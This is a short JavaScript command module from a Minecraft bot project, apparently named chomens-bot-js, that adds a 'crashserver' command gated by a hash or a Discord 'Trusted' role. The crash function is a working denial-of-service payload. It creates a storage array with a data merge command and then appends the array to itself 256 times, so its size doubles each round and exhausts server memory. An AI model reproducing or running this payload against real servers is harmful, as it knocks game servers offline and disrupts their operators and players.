chomens-bot-js/commands/crashserver.js
2022-10-15 15:59:18 +07:00

32 lines
883 B
JavaScript

/* eslint-disable max-len */
const sleep = require('sleep-promise');
async function crash(bot) {
bot.core.run('data merge storage crash {data:[0]}');
await sleep(1000);
for (let i = 0; i < 256; i++) bot.core.run('data modify storage crash data append from storage crash data[]');
}
module.exports = {
name: 'crashserver',
alias: [],
description: 'Crashes the server',
usage: '<hash>',
trusted: 1,
execute: function(bot, username, usernameraw, sender, prefix, args) {
if (args[0] === bot.hash) {
crash(bot);
} else {
throw new Error('Invalid hash');
}
},
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
crash(bot);
} else {
throw new Error('You\'re not in the trusted role!');
}
},
};